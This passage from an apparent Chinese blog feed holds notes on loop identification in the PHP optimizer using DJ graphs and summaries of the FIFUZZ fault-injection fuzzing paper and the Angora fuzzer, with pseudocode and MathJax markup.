7 696 25Q728 151 835 230H70Q56 237 56 250Z"></path></g><g data-mml-node="mi" transform="translate(2127.6,0)"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span>是BJ边，则<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.464ex" xmlns="http://www.w3.org/2000/svg" width="1.109ex" height="1.464ex" role="img" focusable="false" viewBox="0 -442 490 647"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span> dom <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g></g></g></svg></mjx-container></span></li><li>不是BJ边的其余边都是CJ边</li></ol><p>BJ边就是我们环里面很重要的一类边，但是我们需要验证一下DJ图上的环和原flowgraph的环是不是一一对应的？</p><p>如何证明呢？其实不用证明只要保证原flowgraph上的边都在DJ图上出现了即可，哈哈 有趣。但是呢DJ图因为dominator tree的原因加入了一些在原flowgraph不存在的边？这些边会有什么副作用吗？实际上并不会，你看见似乎引入了很多新环，但是其实我们关注的只有BJ边，BJ边都是实际flowgraph存在的边。</p><p>上面把DJ图和原flowgraph的关系理清楚了，那么我们具体是怎么识别环的呢？</p><p>一个自然循环在flowgraph里面有循环头和循环体，例如常规的while，for等等，但是也有那么不太自然的循环，例如用goto来构造一个循环，常规的循环其实就是reducible loop，而用goto你就有可能搞出来irreducible loop，前面已经提到了，在reducible loop里面循环头是严格支配其循环体所有结点的，所以只要把每个reducible loop header弄出来，就可以唯一确定一个reducible loop。但是irreducible loop没有这个唯一的循环头啊，怎么办呢？为了和reducible loop识别方法统一，我也要给irreducible loop加一个header，但是这个header不唯一怎么呢？还有办法，对DJ图做一次深度遍历得到一个生成树，在生成树上那个最前面的那个header，我们作为irreducible loop的header。</p><p>值得一提是这里有一个小lemma，即使irreducible loop的header不唯一，但是它们都有一个唯一的idominator，这个lemma证明很简单，只需要用反证法假设有两个idominator即可证明，Sreedhar的论文中有详细的过程。</p><p>下面是在php中的<strong>具体应用</strong>：</p><p>前置工作我们需要的是一个dominator tree，还需要一个DFS spanning tree(深度优先生成树)。在这里php并没有生成一个生成一个显式的spanning tree，而是很聪明地使用entry/times的方式记录深度遍历过程中节点与节点的关系,可以理解为一个拓扑路径： A_entry，B_entry，B_exit，A_exit，这样就相当于B是A的子孙节点，不需要生成完整的spanning tree原因是，我只需要在识别irreducible loop的时候，查询loop header之间的祖孙关系，去唯一标识一个header即可。</p><p>找loop header是从DJ图的最下面往上找的，这个可以根据dominator tree level进行排序，具体过程我可以用一个简化的算法表示：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (n = <span class="number">0</span>; n &lt; cfg-&gt;blocks_count; n++) {</span><br><span class="line">n = sorted_blocks[n].id <span class="comment">//sorted_blcokeds 里面已经是从dominator level 从高到底排好了基本块</span></span><br><span class="line"><span class="keyword">for</span> (j = <span class="number">0</span>; j &lt; blocks[i].predecessors_count; j++){ <span class="comment">//所有的入度边</span></span><br><span class="line"><span class="keyword">if</span> (blocks[i].idom == pred) { <span class="comment">//我们只关注J边</span></span><br><span class="line"><span class="keyword">continue</span>;</span><br><span class="line">        }</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (dominates(blocks, i, pred)) { <span class="comment">//当前bb支配前驱节点，也是我们说的BJ边</span></span><br><span class="line">       <span class="comment">//这里就是标记reducible loop的位置  </span></span><br><span class="line">        }<span class="keyword">else</span>{</span><br><span class="line">        <span class="keyword">if</span> (entry_times[pred] &gt; entry_times[i] &amp;&amp; exit_times[pred] &lt; exit_times[i]) {</span><br><span class="line">        <span class="comment">//不是BJ边，我们只标记在spanning tree里面那个bb为循环头 </span></span><br><span class="line">        <span class="comment">//这里就是irreducible loop</span></span><br><span class="line">        }</span><br><span class="line">        }</span><br><span class="line">}</span><br><span class="line"><span class="comment">//...</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>有了循环头之后，之后就是把循环体对应到循环头上，这里面需要考虑循环嵌套的过程。所以每个bb只关联离他最近那个循环头。</p><p>呼，洋洋洒洒写了一些东西，我记性不好，写下来以后忘了看看，不然觉得挺可惜的。后面有时间我也许可以记录一些php里面其他optimizer的东西。如果有人看的话，看看就行，因为很多也是我胡诌的，哈哈。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;php-optimizer-about-identifying-loops&quot;&gt;php optimizer about identifying loops&lt;/h1&gt;
&lt;p&gt;这篇文章用于记录php optimizer中关于循环结构识别算法，看了一些php optimi</summary>
      
    
    
    
    <category term="php" scheme="https://m4p1e.com/categories/php/"/>
    
    
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    <title>Fuzzing Error Handling Code using Context-Sensitive Software Fault Injection</title>
    <link href="https://m4p1e.com/2020/10/17/fault-injection-for-fuzzing/"/>
    <id>https://m4p1e.com/2020/10/17/fault-injection-for-fuzzing/</id>
    <published>2020-10-17T16:00:00.000Z</published>
    <updated>2021-05-04T15:37:44.000Z</updated>
    
    <content type="html"><![CDATA[<p><a href="https://www.usenix.org/system/files/sec20-jiang.pdf">paper</a></p><h3 id="x00-introduction">0x00 Introduction</h3><p><strong>Why should fuzzing error handling code?</strong></p><p>因为有一些bug存在于错误和异常处理当中，而且想要<em>fuzzing</em>覆盖错误处理，实际上是比较难。</p><p><em>just a challenge,nothing else!</em></p><p><strong>History</strong></p><p><em>static analysis</em> 容易造成很多的<em>false positives</em>(缺少运行时的信息, <em>reachable</em>?)，为了减少<em>false positives</em>,开始尝试用<em>fuzzing</em>来解决问题，简单的<em>input-driven</em>只能在一定程度上解决问题，因为存在一些异常并不依赖输入。基于直觉的<em>software fault injection (SFI)</em>运营而生，尝试人为的注入一些错误和异常，观察程序在运行时是否能正常的捕获这些错误和异常。</p><p>现存的一些<em>SFI</em>技术,通常采用是<em>context insensitive fault injection</em>,这种技术单纯地静态在某一些位置注入异常或者错误，可能会导致程序每次执行到该位置时都会触发错误，而导致一些其他行为，例如程序可能就直接<em>exit</em>,这样的情况下可能会错过一些<em>real bugs</em>,引用文中的例子：</p><p><img src="https://forum.90sec.com/uploads/default/optimized/2X/3/309560a7de055b38c473317481dd30f7c5935059_2_690x476.jpeg" alt="image-20201015104630396" /> 采用上下文不敏感的方法在<em>FuncP</em>中的<em>malloc</em>注入错误，将会导致在调用<em>FuncB</em>时就直接退出了，而你就会错过调用<em>FuncB</em>而导致的<em>double-free</em>。试想有选择性地在<em>FuncP</em>的<em>malloc</em>中注入错误，将会有机会捕获到这个异常（第一个疑问<em>when injects?</em> ）。</p><p><strong>Bug Examples in Error Handling Code</strong></p><p>文中有一个例子举的很好，一下直观的说明了解决这个问题的意义：</p><figure><img src="https://forum.90sec.com/uploads/default/optimized/2X/c/c70cb1b180aa730e57b3b589e40eba171f13d9b2_2_690x395.png" alt="image-20201016104742594" /><figcaption aria-hidden="true">image-20201016104742594</figcaption></figure><p>在<em>patch</em>之前很明显这是<em>UAF</em> ,但是触发这个<em>UAF</em>必须先进入上这个<em>if</em>，文中提到必须在<em>av_frame_new_side_data</em>在申请内存失败，才会进这个<em>if</em>，这下子文章的整个主题<em>“bugs in error handling code”</em>就变得有意义起来了，有些异常的触发极有可能不依赖于输入，文中将异常分为了两类:1) <em>input-related error</em> 和 2) <em>occasional error</em>,第一类好理解，输入相关，第二类通常为内存或者网络引发的错误。为了触发第二类异常，需要改变改变<em>mutate</em>对象，结合<em>Fuzzing</em> 和<em>fault injection</em>可以擦出怎样的灿烂火花？</p><h3 id="x01-basic-idea-and-approach">0x01 Basic Idea and Approach</h3><p><strong>Basic idea</strong></p><p>为了实现<em>Fuzzing</em>和<em>fault injection</em>结合，文中构造了一个<em>error sequence</em>，其中包含多个<em>error point</em>，一个<em>error point</em>表示异常和错误可达且可被捕获，当使用<em>fault injection</em>可以决定每一个<em>error point</em>是否触发错误和异常，类似一个选择开关,形式化的表示如下： <span class="math display">\[ErrSeq = [ErrPt_1,ErrPt_2,\ldots,ErrPt_x],ErrPt_i=\{0,1\}\]</span> 类似程序输入，同样影响着程序执行，其中核心问题变成了“<strong>哪些<em>error point</em>应该被触发？使其能覆盖尽可能多的异常处理代码</strong>“，在这里插入<em>Fuzzing</em>的思想，把<em>mutation</em>作用到<em>error sequence</em>，来解决这个核心核心。</p><p><strong>Error Sequence Model</strong></p><p>基础定义：</p><p><em>context insensitive error point</em>： <span class="math inline">\(ErrPt = &lt;ErrLoc&gt;\)</span> (单纯用<em>error site</em>来描述)</p><p><em>context sensitive error point:</em> <span class="math inline">\(ErrPt = &lt;ErrLoc, CallCtx&gt;\)</span> (在<em>error site</em>的基础上，添加了运行时的调用栈来表示上下文)</p><p>其中 <span class="math inline">\(CallCtx = [CallInfo_1,CallInfo_2,\ldots,CallInfo_x]\)</span></p><p>每一次函数调用包括<em>caller</em>和<em>calle</em>， <span class="math inline">\(CallInfo_i=&lt;CallLoc,FuncLoc&gt;\)</span></p><p><strong>FIFUZZ</strong></p><p><em>FIFUZZ</em>就是原文提出的一种针对上面问题的<em>context sensitive fault injection</em>解决方法。它由6个步骤组成：</p><ol type="1"><li><em>statically identifying the error sites in the source code of the tested program</em> （静态地识别被测程序源码中的<em>error sites</em>）</li><li><em>running the tested program and collecting runtime information about calling contexts of each executed error site and code coverage</em> （在运行时收集<em>error site</em>执行时的上下文和覆盖率）</li><li>creating error sequences about executed error sites according to runtime information, and each element of such a sequence is differentiated by the location of the executed error site and the information about its calling context （利用收集到的运行时的<em>error point</em>信息，构造用于执行<em>mutation</em>和<em>fault inject</em>的错误序列，）</li><li>after running the program, mutating each created error sequence to generate new sequences （迭代生成新的错误序列）</li><li>running the tested program and injecting faults according to the mutated error sequences （继续跑输入，并且在运行时执行<em>fault injection</em>）</li><li>collecting runtime information, creating new error sequences and performing mutation of these error sequences again, which constructs a fuzzing loop （循环往复）</li></ol><p><em>error side</em>定义是指注入的<em>fault</em>可以被正常触发和捕获的位置（<em>code location</em>）</p><p><img src="https://forum.90sec.com/uploads/default/optimized/2X/5/52fc42076a46581fc582d1448dce82b8993f4dd7_2_630x500.png" alt="image-20201017154306819" /> 我从直觉上猜测的是，通过<em>instrument</em>标记<em>error side</em>，一次运行程序，得到可以被覆盖的<em>error side</em>，并不是简单的<em>count</em>，应该是有上下文敏感的<em>count</em>,通过得到这个信息，构造一个<em>error sequence</em>序列，表示应该去触发哪些<em>error side</em>。</p><p>文中整个<em>Fuzzing Loop</em>的不同于一般情况下,<em>mutation</em>的对象重点关注错误序列，还有一个问题哪些因素会去影响<em>mutation</em>？其实还是覆盖率，只是变成了<em>error sequence</em>带来的覆盖率，如果一次<em>error sequence</em>可以带来新覆盖率，就把它加到<em>mutation</em>过程的<em>pool</em>里面（还有一个优先级的东西，但是太模糊，“贡献的覆盖率”是指这个<em>error sequence</em>完整的覆盖率，还是在<em>prev error sequence</em>上增长的覆盖率，显然后一种似乎并没有什么道理）。</p><p><em>Fuzzing Loop</em>有一个<strong>初始化</strong>的过程，因为第一次跑程序的时候，其实是没有反馈的信息的，构造了下面一个初始化的<em>mutation</em>过程，<em>initial error sequence</em>每个<em>error point</em>都是0，然后把它拆开成多个<em>error sequence</em>，其中每个<em>error sequence</em>都只有一个<em>error point</em>是1，且每个<em>error sequence</em>是唯一的。 <img src="https://forum.90sec.com/uploads/default/optimized/2X/a/aaaced0f431042b6d635bb29534c2b3f29b922e8_2_690x262.png" alt="image-20201017123848006" /></p><p>后面的迭代过程基于覆盖率，<em>mutation</em>尝试将<em>mutate</em>每一个<em>error point</em>(<span class="math inline">\(1 \rightarrow 0 \ or\  0 \rightarrow 1\)</span>) ,整个过程并无亮点，我觉得难点在于<strong>怎么在动态根据上下文做到的<em>fault injection</em>？</strong> 和 <strong>如何做到的同时<em>mutate</em>程序输入和错误序列？</strong></p><p><strong>How to identity error side？</strong></p><p>这一章节是第一次接触<em>fault injection</em>的人应该最想要知道的，用它的时候，你必须保证你触发的错误是实际中存在的，不然造成的<em>false positive</em>是没有任何意义的。文中尝试通过静态分析的方法去识别<em>error side</em>,更具体一点，一个特殊的函数调用可能变成一个<em>error side</em>，其<em>unexpect</em>的返回值可能触发异常和错误处理，所以识别<em>error side</em>的粒度其实以函数为标准，具体分析过程如下：</p><ol type="1"><li><p><em>Identifying candidate error sites</em> ：在大多数情况下，函数返回值为空指针或者负值时，表示一个<em>failure</em>，如果一个函数调用可能是一个<em>error side</em>,从两个方面来看：1）如果它的返回值类型为指针或者整型；2）它的返回值流到<em>if</em>上，并且检查其值是否为<em>NULL</em>或者<em>zero</em>。</p></li><li><p>Selecting library functions： 在大多数情况下，异常和错误产生于外部的库函数，从这个角度出发，如果定义在当前程序中的函数可能触发异常和错误，代表着它作用域下库函数可能会触发异常和错误。这个描述太过于模糊，应该建立函数的返回值和库函数（可能触发异常和错误）的联系。</p></li><li><p>这一步不太容易理解，我尝试用我的理解来讲一下(可能并不是原文的意思，读者需斟酌)，第一步确定了候选的函数调用，需要进一步确定这些函数调用的目标函数返回值是否受错误和异常的影响？第二步给了一个最基础的标准，我们可以已知的库函数会引发错误和异常，通过这些库函数再去迭代标识，程序中定义的函数是否可能引发错误和异常？这两个步骤已经可以基本确定一些<em>error side</em>了，然后再这些<em>error side</em>处做一些特殊的<em>instrument</em>，如下： <img src="https://forum.90sec.com/uploads/default/optimized/2X/5/58bfdb7f18effaf648d9d532c238e16ff18ddd19_2_564x500.jpeg" alt="image-20201017152245471" /></p><p>注意红色的部分，当指定的<em>error point</em>被触发时（需要检查上下文），将被标记为<em>error side</em>的函数调用替换成<em>NULL</em>或者<em>zero</em>，让其触发异常处理。但是第二步描述的非常模糊（个人觉得），只能识别一部分函数可能导致错误和异常，为了尽可能多的识别<em>error function</em>，在第三步这里用了一个统计方法，如果某个函数调用在候选的<em>error side</em>，在程序中全局搜索所有该函数调用的数量 <span class="math inline">\(S\)</span> ，其中该函数调用的返回值进入<em>if</em>数量为 <span class="math inline">\(s_j\)</span> ,且 <span class="math inline">\(s_j/S &gt; R\)</span> ,则认为该函数调用的目标函数是一个<em>error function</em>， <span class="math inline">\(R\)</span> 代表一个阀值，如果 <span class="math inline">\(R\)</span> 越大，导致<em>error function</em>越少，随之<em>error side</em>越少， <span class="math inline">\(R\)</span> 的适配需要根据被测程序的实际情况来决定。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">Func_a</span><span class="params">()</span></span>&#123;</span><br><span class="line">p = maybeTriggerError(...);</span><br><span class="line"><span class="keyword">if</span>(!p)&#123;</span><br><span class="line">    <span class="comment">//error handling</span></span><br><span class="line">  &#125;</span><br><span class="line">....</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">Func_b</span><span class="params">()</span></span>&#123;</span><br><span class="line">  maybeTriggerError(...);</span><br><span class="line">  ...</span><br><span class="line">  <span class="comment">//maybe error handling </span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li></ol><h3 id="x02-self-conclusion">0x02 Self Conclusion</h3><p>有意思的一篇文章，改变了<em>mutation</em>的对象，在这里我总结了几个我想要知道的问题：</p><ol type="1"><li><em>fault injection</em>是个什么东西？如何确定<em>error side</em>？</li><li>文中新的<em>mutation</em>对象<em>error sequence</em>是如何构造的？</li><li>如何在动态运行时根据上下文做到的<em>fault injection</em>？</li><li>如何做到的同时<em>mutate</em>程序输入和错误序列？（相互协调）</li></ol><p>这几个问题都在前面有描述了，但是4文中没有提到，<em>Fuzzing Loop</em>反馈驱动比较常规，重点在于如何连续的<em>Perform Software fault injection?</em></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;a href=&quot;https://www.usenix.org/system/files/sec20-jiang.pdf&quot;&gt;paper&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;x00-introduction&quot;&gt;0x00 Introduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;W</summary>
      
    
    
    
    
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    <title>Angora: Efficient Fuzzing by Principled Search</title>
    <link href="https://m4p1e.com/2020/10/10/angora/"/>
    <id>https://m4p1e.com/2020/10/10/angora/</id>
    <published>2020-10-10T22:19:00.000Z</published>
    <updated>2021-05-04T15:48:23.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="angora-efficient-fuzzing-by-principled-search">Angora: Efficient Fuzzing by Principled Search</h1><h3 id="x00-解决路径问题的五种技术">0x00 解决路径问题的五种技术</h3><ol type="1"><li><p>上下文敏感路径覆盖 （像AFL这种都是基于bitmap的edge计数，并不细分edge的上下文）</p></li><li><p>关于taint analysis 确定 input 和 path constraints之间的映射。</p></li><li><p>梯度下降算法 作用在 input mutate(ion)</p></li><li><p>input的结构推导 （shape =&gt; 结构， type =&gt; 结构里面字段）</p></li><li><p>input长度的探索方法</p></li></ol><h3 id="x01-something-interesting">0x01 Something interesting</h3><p><strong>上下文分支敏感的分支统计</strong></p><p><span class="math display"><mjx-container class="MathJax" jax="SVG" display="true"><svg style="vertical-align: -2.191ex" xmlns="http://www.w3.org/2000/svg" width="19.986ex" height="5.514ex" role="img" focusable="false" viewBox="0 -1468.6 8833.9 2437.2"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mrow"><g data-mml-node="mo" transform="translate(0 -0.5)"><path data-c="7B" d="M618 -943L612 -949H582L568 -943Q472 -903 411 -841T332 -703Q327 -682 327 -653T325 -350Q324 -28 323 -18Q317 24 301 61T264 124T221 171T179 205T147 225T132 234Q130 238 130 250Q130 255 130 258T131 264T132 267T134 269T139 272T144 275Q207 308 256 367Q310 436 323 519Q324 529 325 851Q326 1124 326 1154T332 1205Q369 1358 566 1443L582 1450H612L618 1444V1429Q618 1413 616 1411L608 1406Q599 1402 585 1393T552 1372T515 1343T479 1305T449 1257T429 1200Q425 1180 425 1152T423 851Q422 579 422 549T416 498Q407 459 388 424T346 364T297 318T250 284T214 264T197 254L188 251L205 242Q290 200 345 138T416 3Q421 -18 421 -48T423 -349Q423 -397 423 -472Q424 -677 428 -694Q429 -697 429 -699Q434 -722 443 -743T465 -782T491 -816T519 -845T548 -868T574 -886T595 -899T610 -908L616 -910Q618 -912 618 -928V-943Z"></path></g><g data-mml-node="mtable" transform="translate(750,0)"><g data-mml-node="mtr" transform="translate(0,718.6)"><g data-mml-node="mtd"><g data-mml-node="mo"><path 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749Z"></path></g></g></g></g><g data-mml-node="mo" transform="translate(8833.9,0) translate(0 250)"></g></g></g></g></svg></mjx-container></span></p><p>通常情况下我们的分支记录在有向图CFG上来完成，通过执行过程中对经过有向边<em>edge</em>进行计数，这里会丢失一些东西，理想情况下，在CFG上记录一条完整的分支，应该是edges的一个拓扑排序 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="14.093ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 6229 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mo"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="msub" transform="translate(389,0)"><g data-mml-node="mi"><path data-c="1D452" d="M39 168Q39 225 58 272T107 350T174 402T244 433T307 442H310Q355 442 388 420T421 355Q421 265 310 237Q261 224 176 223Q139 223 138 221Q138 219 132 186T125 128Q125 81 146 54T209 26T302 45T394 111Q403 121 406 121Q410 121 419 112T429 98T420 82T390 55T344 24T281 -1T205 -11Q126 -11 83 42T39 168ZM373 353Q367 405 305 405Q272 405 244 391T199 357T170 316T154 280T149 261Q149 260 169 260Q282 260 327 284T373 353Z"></path></g><g data-mml-node="mn" transform="translate(499,-150) scale(0.707)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g><g data-mml-node="mo" transform="translate(1291.6,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="msub" transform="translate(1736.2,0)"><g data-mml-node="mi"><path data-c="1D452" d="M39 168Q39 225 58 272T107 350T174 402T244 433T307 442H310Q355 442 388 420T421 355Q421 265 310 237Q261 224 176 223Q139 223 138 221Q138 219 132 186T125 128Q125 81 146 54T209 26T302 45T394 111Q403 121 406 121Q410 121 419 112T429 98T420 82T390 55T344 24T281 -1T205 -11Q126 -11 83 42T39 168ZM373 353Q367 405 305 405Q272 405 244 391T199 357T170 316T154 280T149 261Q149 260 169 260Q282 260 327 284T373 353Z"></path></g><g data-mml-node="mn" transform="translate(499,-150) scale(0.707)"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></g></g><g data-mml-node="mo" transform="translate(2638.8,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="mo" transform="translate(3083.4,0)"><path data-c="2026" d="M78 60Q78 84 95 102T138 120Q162 120 180 104T199 61Q199 36 182 18T139 0T96 17T78 60ZM525 60Q525 84 542 102T585 120Q609 120 627 104T646 61Q646 36 629 18T586 0T543 17T525 60ZM972 60Q972 84 989 102T1032 120Q1056 120 1074 104T1093 61Q1093 36 1076 18T1033 0T990 17T972 60Z"></path></g><g data-mml-node="mo" transform="translate(4422.1,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="msub" transform="translate(4866.8,0)"><g data-mml-node="mi"><path data-c="1D452" d="M39 168Q39 225 58 272T107 350T174 402T244 433T307 442H310Q355 442 388 420T421 355Q421 265 310 237Q261 224 176 223Q139 223 138 221Q138 219 132 186T125 128Q125 81 146 54T209 26T302 45T394 111Q403 121 406 121Q410 121 419 112T429 98T420 82T390 55T344 24T281 -1T205 -11Q126 -11 83 42T39 168ZM373 353Q367 405 305 405Q272 405 244 391T199 357T170 316T154 280T149 261Q149 260 169 260Q282 260 327 284T373 353Z"></path></g><g data-mml-node="mi" transform="translate(499,-150) scale(0.707)"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g></g><g data-mml-node="mo" transform="translate(5840,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container></span> ,这里变成了单纯的edge计数。作者并没有对这里进行改进，同样还是edge计数，但是他们把相同的edge，置于不同的上下文当作两个不同的edge，这里的上下文特指执行当前edge的函数调用栈。这样在原来计数的基础上提出了更细的计数对象，在一定程度能更细致的区别执行过程中edge的变化。（这些理解只看原文，其实有一点难理解，需要具体的看一下Angora中LLVM Pass过程）</p><p>文章在这里用一个例子说明问题，但是这个例子我觉得并不好，作者认为原有的edge计数并不能区别输入为<em>10</em>和<em>01</em>的区别，实际上是可以区别的：</p><figure><img src="https://forum.90sec.com/uploads/default/optimized/2X/7/7b8eee167205ee303d4777dcc8d5dcab75d2d11b_2_475x500.jpeg" alt="image-20201009104051280"><figcaption aria-hidden="true">image-20201009104051280</figcaption></figure><p>10: L3:true;L4:false;L3:false;L10:true; 01: L3:false:L10:true;L3:true:L4:true;L5:(true|false);</p><p>两次执行走的分支情况，在<em>01</em>下是其实触发了新的路径，会多出一个L5分支记录，原文说两次都触发执行了L4，L10会被认为没有触发新路径。但是<em>01</em>的时候是触发了L5。 <img src="https://forum.90sec.com/uploads/default/optimized/2X/6/652be9ceb58710486a65d6d28f73f470d9786bed_2_636x500.png" alt="f"></p><p>注意<em>label %5</em>这个基本块，<em>01</em>是会触发<em>label %5</em>到<em>label 